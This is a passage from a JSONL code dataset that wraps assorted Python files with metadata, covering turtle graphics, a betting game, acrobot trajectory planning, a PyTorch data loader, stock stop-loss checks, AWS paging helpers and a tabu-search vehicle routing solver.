[\"NUMERIC\"],\n \"HEX$\": [\"NUMERIC\"],\n \"INT\": [\"NUMERIC\"],\n \"PI\": [\"NUMERIC\"],\n \"LEFT$\": [\"STRING\", \"NUMERIC\"],\n \"LEN\": [\"STRING\"],\n \"LOG\": [\"NUMERIC\"],\n \"MID$\": [\"STRING\", \"NUMERIC\", \"NUMERIC\"],\n \"RIGHT$\": [\"STRING\", \"NUMERIC\"],\n \"RND\": [\"NUMERIC\"],\n \"SIN\": [\"NUMERIC\"],\n \"SGN\": [\"NUMERIC\"],\n \"SPC$\": [\"NUMERIC\"],\n \"SQR\": [\"NUMERIC\"],\n \"STR$\": [\"NUMERIC\"],\n \"TAN\": [\"NUMERIC\"],\n}","sub_path":"lib/GenshiBASIC/Constants.py","file_name":"Constants.py","file_ext":"py","file_size_in_byte":4923,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"148204522","text":"import turtle as t\nimport math as m\n\nt.setup(800, 800)\nt.shape('turtle')\nt.speed(10)\nt.pencolor('black')\nt.width(5)\nt.up(); t.goto(0, 360); t.down()\n\np = m.pi\nr = 360\n\nfor i in range(0, 361, 90):\n a = p * i / 180.0\n x = r * m.sin(a)\n y = r * m.cos(a)\n t.goto(x, y)\n\nt.done()\n","sub_path":"kr/hs/dgsw/nyup/part01/design22/square.py","file_name":"square.py","file_ext":"py","file_size_in_byte":287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"614613876","text":"import random\n#list of account balances (current balance amount is the last element of the list)\nmoney = 100\naccount_balance = [money]\n\nclass Game_of_Chances:\n def __init__(self):\n pass\n\n def __repr__(self):\n return \"You're playing the Game of Chances\"\n\n #function returns result of randomisation\n def randomisation(self):\n num = random.randint(0,1)\n return num\n \n def games_rules(self,bet_amount,choice=None):\n global account_balance\n amount = account_balance[-1]\n msg = \"\"\n #calling of flip_the_coin() function\n result = self.randomisation()\n \n #if users choice was correct, add bet amount to current account balance and push the result to account_balance list\n if result == choice.upper():\n amount += bet_amount\n account_balance.append(amount)\n #print info about result\n msg = f\"Congrats! You won {bet_amount}$!. You have {amount}$\"\n #if users choice was not correct, sub bet amount from current account balance and push the result to account_balance list\n else:\n amount -= bet_amount\n account_balance.append(amount)\n #if user lost money but he still has smth on account balance print info\n if amount > 0 :\n msg = f\"You've lost {bet_amount}$! You have still {amount}$\"\n #if user lost all of is money print info \n else:\n msg = f\"You've lost {bet_amount}$! You're broke, man! Game over!\"\n return msg\n\n def play(self,bet_amount=None,choice=None,**bets):\n\n global account_balance\n msg = \"\"\n #if account balance amount is bigger than bet amount, let user to take another bet\n if bet_amount != None and bet_amount<=account_balance[-1]: \n #if user has the choice\n if choice is not None:\n msg = self.games_rules(bet_amount, choice)\n #if all he needs is to bet amount - just like in deck of cards game\n else:\n msg = self.games_rules(bet_amount) \n elif bets is not None:\n for choice,bet_amount in bets.items():\n if bet_amount<=account_balance[-1]: \n msg = self.games_rules(**bets)\n #if all he needs is to bet amount - just like in deck of cards game\n else:\n msg = self.games_rules(**bets) \n\n # if account balance amount is equal 0 the game is over\n elif account_balance[-1] == 0: \n msg = \"GAME OVER BRO!\"\n #if bet amount is bigger than account balance, print msg that he can't take this bet\n else:\n msg = \"You don't have enough money to take that bet. Try again\"\n return msg","sub_path":"game_template.py","file_name":"game_template.py","file_ext":"py","file_size_in_byte":2802,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"628565247","text":"# acrobot\n\n# import trajectory class and necessary dependencies\nimport sys\nfrom pytrajectory import TransitionProblem, log\nimport numpy as np\nfrom sympy import cos, sin\n\n\nif \"log\" in sys.argv:\n log.console_handler.setLevel(10)\n\n\ndef f(xx, uu, uuref, t, pp):\n \"\"\" Right hand side of the vectorfield defining the system dynamics\n\n :param xx: state\n :param uu: input\n :param uuref: reference input (not used)\n :param t: time (not used)\n :param pp: additionial free parameters (not used)\n\n :return: xdot\n \"\"\"\n x1, x2, x3, x4 = xx\n u1, = uu\n \n m = 1.0 # masses of the rods [m1 = m2 = m]\n l = 0.5 # lengths of the rods [l1 = l2 = l]\n \n I = 1/3.0*m*l**2 # moments of inertia [I1 = I2 = I]\n g = 9.81 # gravitational acceleration\n \n lc = l/2.0\n \n d11 = m*lc**2+m*(l**2+lc**2+2*l*lc*cos(x1))+2*I\n h1 = -m*l*lc*sin(x1)*(x2*(x2+2*x4))\n d12 = m*(lc**2+l*lc*cos(x1))+I\n phi1 = (m*lc+m*l)*g*cos(x3)+m*lc*g*cos(x1+x3)\n\n ff = np.array([ x2,\n u1,\n x4,\n -1/d11*(h1+phi1+d12*u1)\n ])\n \n return ff\n\n\n# system state boundary values for a = 0.0 [s] and b = 2.0 [s]\nxa = [ 0.0,\n 0.0,\n 3/2.0*np.pi,\n 0.0]\n\nxb = [ 0.0,\n 0.0,\n 1/2.0*np.pi,\n 0.0]\n\n# boundary values for the inputs\nua = [0.0]\nub = [0.0]\n\n# create System\nfirst_guess = {'seed' : 1529} # choose a seed which leads to quick convergence\nS = TransitionProblem(f, a=0.0, b=2.0, xa=xa, xb=xb, ua=ua, ub=ub, use_chains=True, first_guess=first_guess)\n\n# alter some method parameters to increase performance\nS.set_param('su', 10)\n\n# run iteration\nS.solve()\n\n\n# the following code provides an animation of the system above\n# for a more detailed explanation have a look at the 'Visualisation' section in the documentation\nimport sys\nimport matplotlib as mpl\nfrom pytrajectory.visualisation import Animation\n\ndef draw(xti, image):\n phi1, phi2 = xti[0], xti[2]\n \n L=0.5\n \n x1 = L*cos(phi2)\n y1 = L*sin(phi2)\n \n x2 = x1+L*cos(phi2+phi1)\n y2 = y1+L*sin(phi2+phi1)\n \n # rods\n rod1 = mpl.lines.Line2D([0,x1],[0,y1],color='k',zorder=0,linewidth=2.0)\n rod2 = mpl.lines.Line2D([x1,x2],[y1,y2],color='0.3',zorder=0,linewidth=2.0)\n \n # pendulums\n sphere1 = mpl.patches.Circle((x1,y1),0.01,color='k')\n sphere2 = mpl.patches.Circle((0,0),0.01,color='k')\n \n image.lines.append(rod1)\n image.lines.append(rod2)\n image.patches.append(sphere1)\n image.patches.append(sphere2)\n \n return image\n\nif not 'no-pickle' in sys.argv:\n # here we save the simulation results so we don't have to run\n # the iteration again in case the following fails\n S.save(fname='ex5_Acrobot.pcl')\n\nif 'plot' in sys.argv or 'animate' in sys.argv:\n A = Animation(drawfnc=draw, simdata=S.sim_data,\n plotsys=[(0,'phi1'),(2,'phi2')], plotinputs=[(0,'u')])\n A.set_limits(xlim=(-1.1,1.1), ylim=(-1.1,1.1))\n \nif 'plot' in sys.argv:\n A.show(t=S.b)\n\nif 'animate' in sys.argv:\n A.animate()\n A.save('ex5_Acrobot.gif')\n","sub_path":"examples/ex5_Acrobot.py","file_name":"ex5_Acrobot.py","file_ext":"py","file_size_in_byte":3182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"42336045","text":"import torch\nimport torchvision.transforms as transforms\nimport torch.utils.data as data\nimport json\nimport os\nimport pickle\nimport numpy as np\nimport nltk\nfrom PIL import Image\n\n\nclass DataLoader():\n\tdef __init__(self, dir_path, vocab, transform):\n\t\tself.images = None\n\t\tself.captions_dict = None\n\t\t# self.data = None\n\t\tself.vocab = vocab\n\t\tself.transform = transform\n\t\tself.load_captions(dir_path)\n\t\tself.load_images(dir_path)\n\n\n\tdef load_captions(self, captions_dir):\n\t\tcaption_file = os.path.join(captions_dir, 'captions.txt')\n\t\tcaptions_dict = {}\n\t\twith open(caption_file) as f:\n\t\t\tfor line in f:\n\t\t\t\tcur_dict = json.loads(line)\n\t\t\t\tfor k, v in cur_dict.items():\n\t\t\t\t\tcaptions_dict[k] = v\n\t\tself.captions_dict = captions_dict\n\t\n\tdef load_images(self, images_dir):\n\t\tfiles = os.listdir(images_dir)\n\t\timages = {}\n\t\tfor cur_file in files:\n\t\t\text = cur_file.split('.')[1]\n\t\t\tif ext == 'jpg':\n\t\t\t\timages[cur_file] = self.transform(Image.open(os.path.join(images_dir, cur_file)).convert('RGB'))\n\t\tself.images = images\n\t\n\tdef caption2ids(self, caption):\n\t\tvocab = self.vocab\n\t\ttokens = nltk.tokenize.word_tokenize(caption.lower())\n\t\tvec = []\n\t\tvec.append(vocab.get_id(''))\n\t\tvec.extend([vocab.get_id(word) for word in tokens])\n\t\tvec.append(vocab.get_id(''))\n\t\treturn vec\n\t\n\tdef gen_data(self):\n\t\timagenumbers = []\n\t\tcaptions = []\n\t\tfor image_id, cur_captions in self.captions_dict.items():\n\t\t\tnum_captions = len(cur_captions)\n\t\t\timagenumbers.extend([image_id] * num_captions)\n\t\t\tfor caption in cur_captions:\n\t\t\t\tcaptions.append(self.caption2ids(caption))\n\t\t# self.data = images, captions\n\t\t#data = images, captions\n\t\treturn imagenumbers, captions, self.images\n\nclass FlickrDataset(data.Dataset):\n \"\"\"Flickr Custom Dataset compatible with torch.utils.data.DataLoader.\"\"\"\n def __init__(self, images, captions,imagenumbers):\n \"\"\"Set the path for images, captions and vocabulary wrapper.\n \n Args:\n root: image directory.\n json: coco annotation file path.\n vocab: vocabulary wrapper.\n transform: image transformer.\n \"\"\"\n self.imagenumbers=imagenumbers\n self.images=images\n self.captions=captions\n\n def __getitem__(self, index):\n \"\"\"Returns one data pair (image and caption).\"\"\"\n imagenumber=self.imagenumbers[index]\n image=self.images[imagenumber]\n\n # Convert caption (string) to word ids.\n caption = self.captions[index]\n target = torch.Tensor(caption)\n \n return image, target\n\n def __len__(self):\n return len(self.imagenumbers)\n\n\ndef collate_fn(data):\n \"\"\"Creates mini-batch tensors from the list of tuples (image, caption).\n \n We should build custom collate_fn rather than using default collate_fn, \n because merging caption (including padding) is not supported in default.\n\n Args:\n data: list of tuple (image, caption). \n - image: torch tensor of shape (3, 256, 256).\n - caption: torch tensor of shape (?); variable length.\n\n Returns:\n images: torch tensor of shape (batch_size, 3, 256, 256).\n targets: torch tensor of shape (batch_size, padded_length).\n lengths: list; valid length for each padded caption.\n \"\"\"\n # Sort a data list by caption length (descending order).\n data.sort(key=lambda x: len(x[1]), reverse=True)\n images, captions = zip(*data)\n\n # Merge images (from tuple of 3D tensor to 4D tensor).\n images = torch.stack(images, 0)\n\n # Merge captions (from tuple of 1D tensor to 2D tensor).\n lengths = [len(cap) for cap in captions]\n targets = torch.zeros(len(captions), max(lengths)).long()\n for i, cap in enumerate(captions):\n end = lengths[i]\n targets[i, :end] = cap[:end] \n return images, targets, lengths\n\ndef get_loader(imagenumbers, captions, images, batch_size, shuffle, num_workers):\n \"\"\"Returns torch.utils.data.DataLoader for custom coco dataset.\"\"\"\n # COCO caption dataset\n flickr = FlickrDataset(images=images,\n captions=captions,\n imagenumbers=imagenumbers)\n \n # Data loader for COCO dataset\n # This will return (images, captions, lengths) for each iteration.\n # images: a tensor of shape (batch_size, 3, 224, 224).\n # captions: a tensor of shape (batch_size, padded_length).\n # lengths: a list indicating valid length for each caption. length is (batch_size).\n data_loader = torch.utils.data.DataLoader(dataset=flickr, \n batch_size=batch_size,\n shuffle=shuffle,\n num_workers=num_workers,\n collate_fn=collate_fn)\n return data_loader\n","sub_path":"jupyter/data_loader.py","file_name":"data_loader.py","file_ext":"py","file_size_in_byte":4813,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"326288732","text":"# 接下来我们将重点放在如何实现两个进程间的通信。\n# 我们启动两个进程,一个输出Ping,一个输出Pong,两个进程输出的Ping和Pong加起来一共10个。\n# 听起来很简单吧,但是如果这样写可是错的哦。\n\nfrom multiprocessing import Process\nfrom time import sleep\n\n\ncounter=0\n\ndef sub_task(string):\n global counter\n while counter <10:\n print(string,end='',flush=True)\n counter +=1\n sleep(0.01)\n\n\n\ndef main():\n Process(target=sub_task,args=('Ping',)).start()\n Process(target=sub_task,args=('Pong',)).start()\n\n\nif __name__ == '__main__':\n main()\n\n\n# 看起来没毛病,但是最后的结果是Ping和Pong各输出了10个,Why?\n# 当我们在程序中创建进程的时候,子进程复制了父进程及其所有的数据结构,每个子进程有自己独立的内存空间,这也就意味着两个子进程中各有一个counter变量,所以结果也就可想而知了。\n# 要解决这个问题比较简单的办法是使用multiprocessing模块中的Queue类,它是可以被多个进程共享的队列,底层是通过管道��信号量(semaphore)机制来实现的,有兴趣的读者可以自己尝试一下。","sub_path":"Day01-15/Day13/demo03/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"616228061","text":"# -*- coding: utf-8 -*-\nfrom wallpaper import Cubic\nfrom bottle import route, run, template, static_file, response\nimport uuid, os, time\n\n@route('//')\ndef index(width,height):\n randomname = str(uuid.uuid4()) +'.png'\n if width > 1300 and (height > 1300):\n return ('api error: you have exceeded the maximum resolution, max size is 1300x1300!')\n\n image = Cubic(width=width, height=height,filename=randomname, cube_size=90)\n image.paint()\n img_bytes = open(randomname, 'rb').read()\n os.remove(randomname)\n response.set_header('Content-type', 'image/png')\n return img_bytes\n\nrun(host='localhost', port=8181) \n","sub_path":"pywallper.py","file_name":"pywallper.py","file_ext":"py","file_size_in_byte":666,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"74071417","text":"# -*- coding: utf-8 -*-\nimport dbwork\nfrom sqlalchemy import *\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import sessionmaker\nfrom dbwork import Pandl, Stock, Portfolio\nfrom contextlib import contextmanager\nimport pandas as pd\n\nimport os\n\nimport stockGF\n\n\nBASE_DIR = os.path.dirname(os.path.abspath(__file__))\n# db_path = os.path.join(BASE_DIR, \"test2\")\ncsv_path = os.path.join(BASE_DIR, \"list.csv\")\n\n# def go_chek_sl_tp(session, name):\n#\n# (ret,), = session.query(exists().where(Portfolio.stock_symbol == name))\n#\n# # ret = session.query(exists().where(Pandl.stock_symbol == name)).scalar()\n# return ret\n\nspisok = pd.read_csv(csv_path, header=None)\n\nfor index, name in spisok.iterrows():\n name = str(name[0])\n if dbwork.check_symbol_from_portfolio(name):\n print('TRUE::::::::::::::::', name)\n #func to chek TP SL\n yt = stockGF.getcurrent_google(name)\n print(yt)#текущая цена\n #обновляем последние цены в Портфеле И Стоке\n dbwork.update_symbol_stock(name, lastprice = yt)\n dbwork.update_symbol_stock(name, lp_timestamp=dbwork.now())\n dbwork.update_symbol_in_portfolio(name, lastprice = yt)\n tpfromtable = dbwork.get_symbol_from_portfolio(name)\n print('TP-', tpfromtable.takeprofit)\n #теперь надо сравнить профиты и лосты с текущей ценой\n if tpfromtable.buy_or_sell == 'buy':\n if yt > tpfromtable.takeprofit:\n print('Pribyl poluchena, nado prodovat')\n dbwork.add_to_pandl(name, yt, dbwork.now())\n\n if yt < tpfromtable.stoploss:\n print('Ubytok poluchen, prodaem')\n dbwork.add_to_pandl(name, yt, dbwork.now())\n if tpfromtable.buy_or_sell == 'sell':\n if yt < tpfromtable.takeprofit:\n print('Pribyl poluchena, nado prodovat')\n dbwork.add_to_pandl(name, yt, dbwork.now())\n if yt > tpfromtable.stoploss:\n print('Ubytok poluchen, prodaem')\n dbwork.add_to_pandl(name, yt, dbwork.now())\n else:\n #print(name,'in portfolio not found')\n t=1\n\n\n\n\n\n\n#если день закрыт с прибыью, закрывать все остальные котировки\n","sub_path":"chek_sl_tp.py","file_name":"chek_sl_tp.py","file_ext":"py","file_size_in_byte":2372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"70037399","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport datetime\nfrom django.utils.timezone import utc\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('projects', '0009_remove_keyword_type'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Process',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('stage', models.CharField(max_length=50)),\n ('hours', models.IntegerField(default=1)),\n ],\n ),\n migrations.AddField(\n model_name='project',\n name='goal',\n field=models.CharField(default=datetime.datetime(2015, 6, 30, 6, 10, 30, 71000, tzinfo=utc), max_length=50),\n preserve_default=False,\n ),\n migrations.AddField(\n model_name='process',\n name='project',\n field=models.ForeignKey(to='projects.Project'),\n ),\n ]\n","sub_path":"projects/migrations/0010_auto_20150630_0810.py","file_name":"0010_auto_20150630_0810.py","file_ext":"py","file_size_in_byte":1064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"295678492","text":"import argparse\nimport sys\nimport logging\n\n# Log fomat\nLOG_FORMAT = '%(asctime)s %(name)s %(levelname)s %(message)s'\nLOG_LEVEL = logging.DEBUG\n\ndef main(number, other_number, output):\n\tresult = number / other_number\n\tprint(f'The result is {result}', file=output)\n\nif __name__ == '__main__':\n\tparser = argparse.ArgumentParser(description='Running Cron Job...')\n\tparser.add_argument('-n1', type=int, help='A number', default=1)\n\tparser.add_argument('-n2', type=int, help='Another number', default=1)\n\tparser.add_argument('--config', '-c', type=argparse.FileType('r'), dest='config', help='config file')\n\tparser.add_argument('-o', dest='output', type=argparse.FileType('w'), help='Output file', default=sys.stdout)\n\tparser.add_argument('-l', type=str, dest='log', help='Log file', default=None)\n\n\targs = parser.parse_args()\n\n\tif args.log:\n\t\tlogging.basicConfig(format=LOG_FORMAT, level=LOG_LEVEL, filename=args.log)\n\telse:\n\t\tlogging.basicConfig(format=LOG_FORMAT, level=LOG_LEVEL)\n\n\ttry:\n\t\tmain(args.n1, args.n2, args.output)\n\texcept Exception as e:\n\t\tlogging.exception('Error running task')\n\t\tprint('Error. Please check log file for more.', file=args.output)\n\t\texit(1)\n\t","sub_path":"test/task_with_error_handling.py","file_name":"task_with_error_handling.py","file_ext":"py","file_size_in_byte":1168,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"26448454","text":"from collections import deque\nfrom sjautils.utils import get_logger\nfrom functools import wraps\nimport time\n\nlogger = get_logger()\n\n\ndef do_all(operation, paging_key, result_key, argument_key=None, **kwargs):\n '''\n Performs some AWS or other paging operation returning successive results\n :param operation: operation function to call\n :param kwargs: general arguments to operation. Paging information will be added when needed.\n :param paging_key: key of operation result signifying more data\n :param result_key: part of operation response to return as result to caller.\n :param argument_key: optional key to pass to operation for paging if different from paging_key\n :return: generator of items returned\n '''\n if not argument_key:\n argument_key = paging_key\n done = False\n args = dict(kwargs)\n more_data = None\n while not done:\n response = operation(**args)\n for item in response.get(result_key, []):\n yield item\n old_more = more_data\n more_data = response.get(paging_key)\n if more_data and (old_more == more_data):\n raise Exception('paging not working!')\n if more_data:\n args[argument_key] = more_data\n else:\n done = True\n\n\ndef handling_too_many_requests(operation, sleep_amount=1.0):\n \"\"\"\n Decorator for a fn that will retry if the TooManyRequestsException is thrown\n executing the function\n @param operation: the function wrapped\n @param sleep_amount: number of seconds to sleep\n @return the wrapped operation\n \"\"\"\n\n @wraps(operation)\n def retry(*args, **kwargs):\n while True:\n try:\n return operation(*args, **kwargs)\n except Exception as e:\n if e.__class__.__name__ == 'TooManyRequestsException':\n time.sleep(sleep_amount)\n else:\n raise e\n\n return retry\n\n\ndef throttled_multi_op(operation, arg_items, always_retry='TooManyRequestsException', retry_exceptions=None,\n sleep_some=1.0):\n \"\"\"\n Performs an operation on each of a set of items in the face of possible throttling\n on number of requests in a time period. The most common one in this contexts is the\n TooManyRequestsExceptions thrown by many AWS apis. But others can be specified as well.\n This loops as long as there are items not successfully completed due to a named retriable\n exception being thrown.\n @param operation: the function of one argument to perform\n @param param arg_items: list of items to preform it over\n @param always_retry: error name to always retry\n @param retry_exceptions: names of other exceptions ot always_retry\n @param sleep_some: seconds between retries\n @return None\n \"\"\"\n retriable_exceptions = [always_retry]\n if retry_exceptions:\n retriable_exceptions += list(retry_exceptions)\n remaining = deque(list(arg_items))\n print('remaining', remaining, len(remaining))\n while remaining:\n item = remaining.pop()\n logger.info('doing %s', item)\n try:\n yield operation(item)\n except Exception as e:\n logger.exception(e)\n if e.__class__.__name__ in retriable_exceptions:\n remaining.append(item)\n if sleep_some:\n time.sleep(sleep_some)\n else:\n raise e\n\n\ndef composed_filter(gen, *filters):\n '''\n composition of filters in terms of generators although gen argument can all be any sequence.\n composes use of filter functions by refining generator vs af function composition.\n :param gen: generaror or other iternable\n :param filters: set of filter functions\n :return: generator with only items that pass all filters\n '''\n for f in filters:\n gen = (g for g in gen if f(g))\n return gen\n","sub_path":"sjautils/paging.py","file_name":"paging.py","file_ext":"py","file_size_in_byte":3901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"468313121","text":"from threading import Thread\nimport cv2\nimport dlib\n\nclass VideoShow:\n\n def __init__(self, nome, fila, frame=None):\n self.frame = frame\n self.stopped = False\n self.fila = fila\n self.nome = nome\n\n def start(self):\n Thread(target=self.show, args=()).start()\n return self\n\n#ESTA FUNCAO USA A TECNICA HOG\n '''def show(self):\n while not self.stopped:\n #print(self.fila)\n try:\n for face in self.fila:\n e, t, d, b = (int(face.left()), int(face.top()), int(face.right()), int(face.bottom()))\n cv2.rectangle(self.frame, (e, t), (d, b), (0, 255, 255), 2)\n except TypeError:\n print('DEU MERDA NEGAO')\n cv2.imshow(\"Video\", self.frame)\n if cv2.waitKey(1) == ord(\"q\"):\n self.stopped = True'''\n\n def show(self):\n classificador_olho = cv2.CascadeClassifier('recursos/olho.xml')\n while not self.stopped:\n #print(self.fila)\n try:\n for (x,y,l,h) in self.fila:\n mascara=self.frame[y:y+h,x:x+l]\n olho = classificador_olho.detectMultiScale(mascara)\n if len(olho)!=0:\n cv2.rectangle(self.frame,(x,y),(x+l,y+h),(255,0,0),2)\n except TypeError:\n print('BOTA A CARA NEGAO')\n cv2.putText(self.frame, self.nome, (100, 100), cv2.FONT_HERSHEY_SIMPLEX, 2, (0,0,0),2,cv2.LINE_AA)\n cv2.imshow(\"Video\", self.frame)\n if cv2.waitKey(1) == ord(\"q\"):\n self.stopped = True\n\n\n def stop(self):\n self.stopped = True\n\n\n","sub_path":"videoshow.py","file_name":"videoshow.py","file_ext":"py","file_size_in_byte":1689,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"223383321","text":"import modin.pandas as pd\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\n\ntrain_key = 'train'\ntest_key = 'test'\nn_samples = 5\nindices = np.arange(n_samples, dtype=int)\nprint(indices)\ntrain_indices, test_indices = train_test_split(\n indices, train_size=2, test_size=None\n)\nprint(train_indices, test_indices)\n\ndf = pd.DataFrame({'x': [4, 10, 15, 11, 95], 'y': [25, 0, -20, 3, -np.pi]})\n# df['z'] = [9, 10, 2]\nprint(df)\n# new_series = pd.Series(data=[train_key] * len(train_indices) + [test_key] * len(test_indices), index=np.concatenate([train_indices, test_indices]), dtype='category')\n# new_series = pd.concat((\n# pd.Series(data=train_key, index=train_indices, dtype='category'),\n# pd.Series(data='val', index=[], dtype='category'),\n# pd.Series(data=test_key, index=test_indices, dtype='category')\n# ))\n\nnew_series = pd.Series(\n pd.concat(\n (\n pd.Series(data=train_key, index=train_indices),\n pd.Series(data='val', index=[]),\n pd.Series(data=test_key, index=test_indices),\n )\n ),\n dtype='category',\n)\n\nprint(new_series)\ndf['set'] = new_series\ndf.dtypes\n","sub_path":"archive/train_test_split.py","file_name":"train_test_split.py","file_ext":"py","file_size_in_byte":1149,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"244421747","text":"from collections import deque\nimport heapq\n\ndef search(lines, pattern, history = 5):\n previous_lines = deque(maxlen = history)\n for line in lines:\n if pattern in line:\n yield line, previous_lines\n previous_lines.append(line)\n\nif __name__ == '__main__':\n nums = [1, 8, 2, 23, 7, -4, 18, 23, 42, 37, 2]\n print(heapq.nlargest(3, nums))\n print(heapq.nsmallest(3, nums))\n\n portfolio = [\n {'name': 'IBM', 'shares': 100, 'price': 91.1},\n {'name': 'AAPL', 'shares': 50, 'price': 543.22},\n {'name': 'FB', 'shares': 200, 'price': 21.09},\n {'name': 'HPQ', 'shares': 35, 'price': 31.75},\n {'name': 'YHOO', 'shares': 45, 'price': 16.35},\n {'name': 'ACME', 'shares': 75, 'price': 115.65}\n ]\n print(heapq.nlargest(3, portfolio, key = lambda s: s['price']))\n print(heapq.nsmallest(3, portfolio, key = lambda s: s['price']))\n \n# with open(r'somefile.txt') as f:\n# for line, prevlines in search(f, 'python', 5):\n# for pline in prevlines:\n# print(pline, end = ' ')\n# print(line, end = ' ')\n# print('*' * 20)\n","sub_path":"Python/PythonCook/Chapter-01/algorithm.py","file_name":"algorithm.py","file_ext":"py","file_size_in_byte":1139,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"248021248","text":"# -*- coding: utf-8 -*-\n\nfrom PyQt4 import QtGui, QtCore\n\nimport random\nimport sys\n\n\ncols = 8\nrows = 8\n\nclass Window(QtGui.QWidget):\n def __init__(self):\n \n super(Window, self).__init__()\n \n self.cellSize = 20\n self.padding = 2\n self.factor = 1.4\n self.cellSize *= self.factor\n self.padding *= self.factor\n self.halfCellSize = self.cellSize / 2 \n \n self.gameInit() \n \n self.initGUI()\n self.timer = QtCore.QBasicTimer()\n self.timer.start(self.speed, self)\n \n \n def gameInit(self):\n self.speed = 300\n self.speedReducer = 40\n self.gameOver = False\n \n self.curLevel = 0\n self.curLife = 3\n self.curPos = -1\n self.curDir = 0\n \n self.map = [ [0]*cols for i in range(rows) ]\n \n def initGUI(self):\n self.resize(cols*(self.cellSize+self.padding) + self.padding , \n rows*(self.cellSize+self.padding) + self.padding ) \n self.setWindowTitle(\"gmcr_test\")\n self.show() \n \n \n def timerEvent(self, event):\n #self.map[self.curLevel] = [0]*cols \n self.curPos += [1,-1][ self.curDir ]\n if self.curPos + self.curLife <= 1:\n self.curDir = 0\n if self.curPos >= cols-1:\n self.curDir = 1 \n self.repaint()\n \n \n def keyPressEvent(self, event):\n #if space is pressed\n if event.key() == 32:\n self.timer.stop()\n #Checking each square by right position. if position is wrong\n # substracting life\n for i in range(self.curLife):\n if self.curPos+i>=0 and self.curPos+i=0 and self.curPos+i self.tabu_lenght :\r\n del self.tabu_cost[0]\r\n del self.tabu_list[0]\r\n\r\n def runTabu(self):\r\n run_mark = 0\r\n best_in_tabu = 0\r\n self.candi_instance = []\r\n self.candi_value = []\r\n self.candi_exchange = []\r\n while(run_mark == 0): \r\n if not best_in_tabu: \r\n self.candidatePair() # neighbor\r\n best_candi_instance, best_candi_exchange, best_value = self.chooseBest() # choose the best candidate\r\n in_tabu, tabu_index = self.judgeMoving(best_candi_exchange) # candidate in the tabu_list or not\r\n if in_tabu:\r\n if self.check_aspiration_criteria(best_value, tabu_index):\r\n self.each_iter_instance.append(best_candi_instance)\r\n self.each_iter_instance_value.append(best_value)\r\n self.addTabu(best_value, best_candi_exchange)\r\n run_mark = 1\r\n else:\r\n best_in_tabu = 1\r\n self.candi_instance.remove(best_candi_instance)\r\n self.candi_value.remove(best_value)\r\n self.candi_exchange.remove(best_candi_exchange)\r\n if len(self.candi_instance)==0:\r\n run_mark = 1\r\n else:\r\n self.addTabu(best_value, best_candi_exchange)\r\n self.each_iter_instance.append(best_candi_instance)\r\n self.each_iter_instance_value.append(best_value) \r\n run_mark = 1\r\n # each iteration the instance should modify by the best solution\r\n vehicle1 = self.instance.solution.fleet.fleet[best_candi_exchange[2]]\r\n vehicle2 = self.instance.solution.fleet.fleet[best_candi_exchange[3]]\r\n self.performMove(self.instance, best_candi_exchange[0], best_candi_exchange[1], vehicle1, vehicle2) \r\n \r\n best_instance_value = min(self.each_iter_instance_value) \r\n best_instance = self.each_iter_instance[self.each_iter_instance_value.index(best_instance_value)] \r\n \r\n routes = []\r\n for i,vehicle in enumerate(best_instance.solution.fleet):\r\n path = []\r\n for i in vehicle.route.route:\r\n path.append(i)\r\n routes.append(path) \r\n return routes \r\n return best_instance \r\n\r\n\r\n#----------------plot the graph----------#\r\ndef showResult(compare_set, coordination, depot):\r\n plt.clf()\r\n for i in compare_set:\r\n tour = compare_set[i]\r\n x = []\r\n y = []\r\n for j in tour:\r\n x.append(coordination[j-1][0])\r\n y.append(coordination[j-1][1])\r\n random_color = [ i[0] for i in np.random.rand(3,1)]\r\n plt.scatter(x, y, c = \"r\", marker =\"*\")\r\n plt.plot(x, y, c = random_color)\r\n z = []\r\n w = []\r\n for i in depot:\r\n z.append(coordination[i-1][0])\r\n w.append(coordination[i-1][1])\r\n for index in range(len(coordination)):\r\n plt.text(coordination[index][0], coordination[index][1], index+1) \r\n plt.scatter(z, w, s = 100, c = \"r\", marker =\"o\", label = \"Depot\")\r\n plt.xlabel('City x coordination')\r\n plt.ylabel(\"City y coordination\")\r\n plt.title(\"The VRP map by Tabu\")\r\n plt.savefig('vrp.png')\r\n\r\n\r\nif __name__ == '__main__':\r\n tabuRandom = TabuRandom('A-n32-k5.vrp') \r\n iteration = 100\r\n for i in range(iteration):\r\n print ('The iteration: %s' %(i+1))\r\n instance_result = tabuRandom.runTabu()\r\n supp.printRoute(instance_result)\r\n\r\n\r\n\r\n","sub_path":"tabu/mdvrp_tabu_random.py","file_name":"mdvrp_tabu_random.py","file_ext":"py","file_size_in_byte":11244,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"515024580","text":"from django import template\nfrom ..models import 